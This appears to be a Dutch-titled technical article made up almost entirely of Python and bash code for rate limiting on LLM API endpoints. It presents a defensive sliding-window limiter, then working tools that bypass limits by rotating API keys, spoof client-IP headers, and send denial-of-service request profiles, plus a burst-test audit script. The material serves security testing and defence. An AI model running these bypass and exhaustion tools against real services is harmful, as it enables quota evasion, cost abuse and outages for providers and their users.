Geavanceerde rate-limitingstrategieën voor LLM-API-endpoints

"""
Multi-dimensional rate limiter for LLM API endpoints.
Implements token-aware limiting using a sliding window algorithm
with separate counters for each dimension.
"""
 
import time
import hashlib
import json
from dataclasses import dataclass, field
from typing import Optional
from collections import defaultdict
import threading
 
@dataclass
class RateLimitConfig:
    """Configuratie voor multidimensionale LLM-rate-limiting."""
    rpm: int = 60                    # Verzoeken per minuut
    tpm: int = 100_000               # Tokens per minuut (input + output)
    input_tpm: int = 80_000          # Input-tokens per minuut
    output_tpm: int = 40_000         # Output-tokens per minuut
    max_input_tokens: int = 128_000  # Max input-tokens per verzoek
    max_output_tokens: int = 4_096   # Max output-tokens per verzoek
    concurrent: int = 10             # Max gelijktijdige verzoeken
    daily_requests: int = 10_000     # Max verzoeken per dag
    daily_tokens: int = 10_000_000   # Max tokens per dag
    window_seconds: int = 60         # Grootte van het sliding window
 
@dataclass
class UsageRecord:
    """Houdt het gebruik bij voor één API-sleutel."""
    request_timestamps: list[float] = field(default_factory=list)
    token_records: list[tuple[float, int, int]] = field(
        default_factory=list
    )  # (timestamp, input_tokens, output_tokens)
    active_requests: int = 0
    daily_requests: int = 0
    daily_tokens: int = 0
    daily_reset: float = 0.0
 
class LLMRateLimiter:
    """
    Multi-dimensional rate limiter designed for LLM API endpoints.
    Thread-safe with sliding window token counting.
    """
 
    def __init__(self, config: Optional[RateLimitConfig] = None):
        self.config = config or RateLimitConfig()
        self.usage: dict[str, UsageRecord] = defaultdict(UsageRecord)
        self.lock = threading.Lock()
 
    def _clean_window(self, record: UsageRecord, now: float) -> None:
        """Verwijder entries buiten het sliding window."""
        cutoff = now - self.config.window_seconds
 
        record.request_timestamps = [
            ts for ts in record.request_timestamps if ts > cutoff
        ]
        record.token_records = [
            (ts, inp, out) for ts, inp, out in record.token_records
            if ts > cutoff
        ]
 
        # Reset dagelijkse tellers
        if now - record.daily_reset > 86400:
            record.daily_requests = 0
            record.daily_tokens = 0
            record.daily_reset = now
 
    def check_request(
        self,
        api_key: str,
        estimated_input_tokens: int,
        requested_output_tokens: int,
    ) -> tuple[bool, Optional[str], dict]:
        """
        Check if a request should be allowed.
 
        Returns:
            (allowed, rejection_reason, rate_limit_headers)
        """
        now = time.time()
        headers: dict[str, str] = {}
 
        with self.lock:
            record = self.usage[api_key]
            self._clean_window(record, now)
 
            # Controleer limieten per verzoek
            if estimated_input_tokens > self.config.max_input_tokens:
                return False, "input_tokens_exceeded", {
                    "X-RateLimit-Limit-Input-Tokens": str(
                        self.config.max_input_tokens
                    ),
                }
 
            if requested_output_tokens > self.config.max_output_tokens:
                return False, "output_tokens_exceeded", {
                    "X-RateLimit-Limit-Output-Tokens": str(
                        self.config.max_output_tokens
                    ),
                }
 
            # Controleer RPM
            current_rpm = len(record.request_timestamps)
            headers["X-RateLimit-Limit-Requests"] = str(self.config.rpm)
            headers["X-RateLimit-Remaining-Requests"] = str(
                max(0, self.config.rpm - current_rpm)
            )
            if current_rpm >= self.config.rpm:
                return False, "rpm_exceeded", headers
 
            # Controleer TPM (input + output)
            current_input = sum(
                inp for _, inp, _ in record.token_records
            )
            current_output = sum(
                out for _, _, out in record.token_records
            )
            total_tokens = current_input + current_output
            estimated_new_total = (
                total_tokens + estimated_input_tokens + requested_output_tokens
            )
 
            headers["X-RateLimit-Limit-Tokens"] = str(self.config.tpm)
            headers["X-RateLimit-Remaining-Tokens"] = str(
                max(0, self.config.tpm - total_tokens)
            )
 
            if estimated_new_total > self.config.tpm:
                return False, "tpm_exceeded", headers
 
            if current_input + estimated_input_tokens > self.config.input_tpm:
                return False, "input_tpm_exceeded", headers
 
            # Controleer gelijktijdige verzoeken
            if record.active_requests >= self.config.concurrent:
                return False, "concurrent_exceeded", headers
 
            # Controleer dagelijkse limieten
            if record.daily_requests >= self.config.daily_requests:
                return False, "daily_requests_exceeded", headers
            if record.daily_tokens + estimated_new_total > self.config.daily_tokens:
                return False, "daily_tokens_exceeded", headers
 
            # Alle controles geslaagd — registreer het verzoek
            record.request_timestamps.append(now)
            record.active_requests += 1
            record.daily_requests += 1
 
            return True, None, headers
 
    def record_completion(
        self,
        api_key: str,
        actual_input_tokens: int,
        actual_output_tokens: int,
    ) -> None:
        """Registreer het werkelijke tokengebruik nadat het verzoek is voltooid."""
        now = time.time()
        with self.lock:
            record = self.usage[api_key]
            record.token_records.append(
                (now, actual_input_tokens, actual_output_tokens)
            )
            record.active_requests = max(0, record.active_requests - 1)
            record.daily_tokens += actual_input_tokens + actual_output_tokens
 
    def get_usage_stats(self, api_key: str) -> dict:
        """Verkrijg de huidige gebruiksstatistieken voor een API-sleutel."""
        now = time.time()
        with self.lock:
            record = self.usage[api_key]
            self._clean_window(record, now)
 
            input_tokens = sum(
                inp for _, inp, _ in record.token_records
            )
            output_tokens = sum(
                out for _, _, out in record.token_records
            )
 
            return {
                "rpm_used": len(record.request_timestamps),
                "rpm_limit": self.config.rpm,
                "tpm_used": input_tokens + output_tokens,
                "tpm_limit": self.config.tpm,
                "input_tpm_used": input_tokens,
                "output_tpm_used": output_tokens,
                "concurrent_used": record.active_requests,
                "concurrent_limit": self.config.concurrent,
                "daily_requests_used": record.daily_requests,
                "daily_requests_limit": self.config.daily_requests,
            }

"""
Rate limit bypass through API key rotation.
Demonstrates how multi-key strategies defeat per-key rate limiting.
"""
 
import requests
import time
import itertools
from typing import Optional
from concurrent.futures import ThreadPoolExecutor, as_completed
 
class RateLimitBypass:
    """
    Bypass per-key rate limits by rotating across multiple API keys.
    """
 
    def __init__(
        self,
        target_url: str,
        api_keys: list[str],
    ):
        self.target_url = target_url
        self.api_keys = api_keys
        self.key_cycle = itertools.cycle(api_keys)
        self.key_usage: dict[str, int] = {k: 0 for k in api_keys}
        self.total_requests = 0
        self.total_tokens = 0
 
    def _get_next_key(self) -> str:
        """Verkrijg de volgende API-sleutel in de rotatie."""
        return next(self.key_cycle)
 
    def send_request(
        self,
        prompt: str,
        max_tokens: int = 100,
    ) -> Optional[dict]:
        """Verstuur één verzoek met de volgende beschikbare sleutel."""
        api_key = self._get_next_key()
 
        try:
            resp = requests.post(
                f"{self.target_url}/v1/completions",
                headers={"Authorization": f"Bearer {api_key}"},
                json={
                    "model": "target-model",
                    "prompt": prompt,
                    "max_tokens": max_tokens,
                    "temperature": 0.0,
                },
                timeout=60,
            )
 
            self.key_usage[api_key] += 1
            self.total_requests += 1
 
            if resp.status_code == 200:
                data = resp.json()
                usage = data.get("usage", {})
                self.total_tokens += usage.get("total_tokens", 0)
                return data
            elif resp.status_code == 429:
                # Deze sleutel is rate-limited, probeer de volgende
                return self.send_request(prompt, max_tokens)
            else:
                return None
 
        except requests.RequestException:
            return None
 
    def parallel_extraction(
        self,
        prompts: list[str],
        max_workers: int = 10,
    ) -> list[dict]:
        """
        Send multiple requests in parallel across all keys.
        Effective rate = per_key_rate * num_keys.
        """
        results = []
 
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = {
                executor.submit(self.send_request, p): p
                for p in prompts
            }
            for future in as_completed(futures):
                result = future.result()
                if result:
                    results.append(result)
 
        return results
 
    def report(self) -> dict:
        """Genereer een rapport van de bypass-poging."""
        return {
            "total_requests": self.total_requests,
            "total_tokens": self.total_tokens,
            "keys_used": len(self.api_keys),
            "per_key_usage": self.key_usage,
            "effective_multiplier": (
                self.total_requests / max(
                    self.key_usage.values(), default=1
                )
            ),
        }

"""
Rate limit bypass through header manipulation.
Tests if the target trusts client-provided IP headers.
"""
 
import requests
import random
from typing import Optional
 
def generate_random_ip() -> str:
    """Genereer een willekeurig openbaar IPv4-adres."""
    while True:
        ip = f"{random.randint(1,223)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
        # Vermijd privé-/gereserveerde ranges
        first_octet = int(ip.split(".")[0])
        if first_octet not in (10, 127, 169, 172, 192, 224):
            return ip
 
def test_header_bypass(
    target_url: str,
    api_key: str,
    num_requests: int = 100,
) -> dict:
    """
    Test if the rate limiter can be bypassed by spoofing IP headers.
    Sends requests with different X-Forwarded-For headers.
    """
    results = {"success": 0, "rate_limited": 0, "error": 0}
 
    # Headers die diverse proxy's/LB's gebruiken voor het client-IP
    ip_headers = [
        "X-Forwarded-For",
        "X-Real-IP",
        "X-Client-IP",
        "CF-Connecting-IP",
        "True-Client-IP",
        "X-Originating-IP",
    ]
 
    for i in range(num_requests):
        fake_ip = generate_random_ip()
        headers = {
            "Authorization": f"Bearer {api_key}",
            "Content-Type": "application/json",
        }
        # Stel alle bekende IP-headers in op hetzelfde nep-IP
        for header_name in ip_headers:
            headers[header_name] = fake_ip
 
        try:
            resp = requests.post(
                f"{target_url}/v1/completions",
                headers=headers,
                json={
                    "model": "target-model",
                    "prompt": f"Test request {i}",
                    "max_tokens": 1,
                },
                timeout=30,
            )
 
            if resp.status_code == 200:
                results["success"] += 1
            elif resp.status_code == 429:
                results["rate_limited"] += 1
            else:
                results["error"] += 1
 
        except requests.RequestException:
            results["error"] += 1
 
    # Analyseer de resultaten
    if results["rate_limited"] == 0 and results["success"] > 0:
        results["verdict"] = (
            "VULNERABLE: No rate limiting observed with IP header spoofing. "
            "The rate limiter may trust X-Forwarded-For from untrusted sources."
        )
    elif results["rate_limited"] > 0 and results["success"] > results["rate_limited"]:
        results["verdict"] = (
            "PARTIALLY VULNERABLE: Rate limiting is inconsistent, "
            "suggesting IP headers partially influence rate limit identity."
        )
    else:
        results["verdict"] = (
            "NOT VULNERABLE: Rate limiting was consistently enforced "
            "regardless of IP header values."
        )
 
    return results

"""
Resource exhaustion attack testing for LLM APIs.
Measures the actual GPU cost of different request profiles
to identify the most cost-effective denial-of-service vectors.
"""
 
import requests
import time
import concurrent.futures
from dataclasses import dataclass
from typing import Optional
 
@dataclass
class RequestProfile:
    """Een verzoekconfiguratie ontworpen om resourcelimieten te testen."""
    name: str
    prompt: str
    max_tokens: int
    temperature: float = 0.0
    stream: bool = False
 
class ResourceExhaustionTester:
    """
    Test LLM API resilience to resource exhaustion attacks.
    Measures server response time and availability under
    various adversarial request profiles.
    """
 
    def __init__(self, target_url: str, api_key: str):
        self.target_url = target_url.rstrip("/")
        self.api_key = api_key
        self.results: list[dict] = []
 
    def _send_request(self, profile: RequestProfile) -> dict:
        """Verstuur één verzoek en meet het resourceverbruik."""
        start = time.time()
        try:
            resp = requests.post(
                f"{self.target_url}/v1/completions",
                headers={"Authorization": f"Bearer {self.api_key}"},
                json={
                    "model": "default",
                    "prompt": profile.prompt,
                    "max_tokens": profile.max_tokens,
                    "temperature": profile.temperature,
                    "stream": profile.stream,
                },
                timeout=120,
            )
            elapsed = time.time() - start
 
            usage = {}
            if resp.status_code == 200:
                data = resp.json()
                usage = data.get("usage", {})
 
            return {
                "profile": profile.name,
                "status": resp.status_code,
                "elapsed_seconds": elapsed,
                "prompt_tokens": usage.get("prompt_tokens", 0),
                "completion_tokens": usage.get("completion_tokens", 0),
                "total_tokens": usage.get("total_tokens", 0),
                "cost_per_second": (
                    usage.get("total_tokens", 0) / max(elapsed, 0.001)
                ),
            }
        except requests.Timeout:
            return {
                "profile": profile.name,
                "status": 0,
                "elapsed_seconds": time.time() - start,
                "error": "timeout",
            }
        except requests.ConnectionError:
            return {
                "profile": profile.name,
                "status": 0,
                "elapsed_seconds": time.time() - start,
                "error": "connection_lost",
            }
 
    def generate_attack_profiles(self) -> list[RequestProfile]:
        """Genereer verzoekprofielen die verschillende resources belasten."""
        profiles = [
            # Baseline: minimaal verzoek
            RequestProfile(
                name="baseline",
                prompt="Hi",
                max_tokens=1,
            ),
            # Lange input, korte output (druk op KV-cache)
            RequestProfile(
                name="long_input",
                prompt="Summarize: " + "The quick brown fox. " * 5000,
                max_tokens=10,
            ),
            # Korte input, lange output (generatietijd)
            RequestProfile(
                name="long_output",
                prompt="Write a very detailed essay about:",
                max_tokens=4096,
            ),
            # Lange input ÉN lange output (maximale resource)
            RequestProfile(
                name="max_resources",
                prompt="Expand on each point: " + "Point. " * 5000,
                max_tokens=4096,
            ),
            # Repetitieve input (potentieel degeneratieve attention)
            RequestProfile(
                name="repetitive",
                prompt="repeat " * 10000,
                max_tokens=100,
            ),
            # Streaming (houdt verbinding vast)
            RequestProfile(
                name="streaming_hold",
                prompt="Tell me a very long story",
                max_tokens=4096,
                stream=True,
            ),
        ]
        return profiles
 
    def run_availability_test(
        self,
        attack_profile: RequestProfile,
        num_attack_requests: int = 10,
        num_probe_requests: int = 5,
    ) -> dict:
        """
        Test if attack requests degrade service for legitimate requests.
        Sends attack requests concurrently, then measures probe latency.
        """
        baseline_profile = RequestProfile(
            name="probe", prompt="What is 2+2?", max_tokens=5,
        )
 
        # Meet de baseline-latentie
        baseline_times = []
        for _ in range(num_probe_requests):
            result = self._send_request(baseline_profile)
            if result.get("status") == 200:
                baseline_times.append(result["elapsed_seconds"])
 
        avg_baseline = (
            sum(baseline_times) / len(baseline_times)
            if baseline_times else 0
        )
 
        # Verstuur aanvalsverzoeken gelijktijdig
        with concurrent.futures.ThreadPoolExecutor(
            max_workers=num_attack_requests
        ) as executor:
            attack_futures = [
                executor.submit(self._send_request, attack_profile)
                for _ in range(num_attack_requests)
            ]
 
            # Meet, terwijl de aanval draait, de probe-latentie
            time.sleep(1)  # Korte vertraging om de aanvallen te laten starten
            probe_times = []
            for _ in range(num_probe_requests):
                result = self._send_request(baseline_profile)
                if result.get("status") == 200:
                    probe_times.append(result["elapsed_seconds"])
                elif result.get("status") == 429:
                    probe_times.append(-1)  # Rate-limited
 
            # Verzamel aanvalsresultaten
            attack_results = [f.result() for f in attack_futures]
 
        avg_under_attack = (
            sum(t for t in probe_times if t > 0)
            / max(len([t for t in probe_times if t > 0]), 1)
        )
        rate_limited_probes = sum(1 for t in probe_times if t == -1)
 
        return {
            "attack_profile": attack_profile.name,
            "baseline_latency_ms": avg_baseline * 1000,
            "attack_latency_ms": avg_under_attack * 1000,
            "latency_increase": (
                (avg_under_attack / max(avg_baseline, 0.001) - 1) * 100
            ),
            "probes_rate_limited": rate_limited_probes,
            "attack_successes": sum(
                1 for r in attack_results if r.get("status") == 200
            ),
            "attack_blocked": sum(
                1 for r in attack_results if r.get("status") == 429
            ),
        }

#!/usr/bin/env bash
# Quick audit of rate limiting configuration on an LLM API endpoint
 
TARGET="${1:?Usage: $0 <api_url> <api_key>}"
API_KEY="${2:?Usage: $0 <api_url> <api_key>}"
 
echo "=== LLM API Rate Limit Audit ==="
echo "Target: $TARGET"
echo ""
 
# Test 1: Controleer rate-limit-headers
echo "--- Rate Limit Headers ---"
RESP=$(curl -s -D - -o /dev/null \
    -X POST "${TARGET}/v1/completions" \
    -H "Authorization: Bearer ${API_KEY}" \
    -H "Content-Type: application/json" \
    -d '{"model":"default","prompt":"test","max_tokens":1}')
 
echo "$RESP" | grep -iE "x-ratelimit|retry-after|ratelimit" || echo "No rate limit headers found"
 
echo ""
echo "--- Burst Test (20 rapid requests) ---"
SUCCESS=0
LIMITED=0
for i in $(seq 1 20); do
    CODE=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST "${TARGET}/v1/completions" \
        -H "Authorization: Bearer ${API_KEY}" \
        -H "Content-Type: application/json" \
        -d '{"model":"default","prompt":"test","max_tokens":1}')
    if [ "$CODE" = "200" ]; then
        SUCCESS=$((SUCCESS + 1))
    elif [ "$CODE" = "429" ]; then
        LIMITED=$((LIMITED + 1))
    fi
done
echo "Successful: $SUCCESS, Rate limited: $LIMITED"
if [ "$LIMITED" -eq 0 ]; then
    echo "[WARN] No rate limiting triggered during burst"
fi
 
echo ""
echo "--- Token-based Rate Limit Test ---"
# Verstuur een verzoek met een hoog aantal tokens
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${TARGET}/v1/completions" \
    -H "Authorization: Bearer ${API_KEY}" \
    -H "Content-Type: application/json" \
    -d '{"model":"default","prompt":"'"$(python3 -c "print('word ' * 10000)")"'","max_tokens":4096}')
echo "Large request (10K input + 4K output tokens): HTTP $CODE"
 
echo ""
echo "=== Audit Complete ==="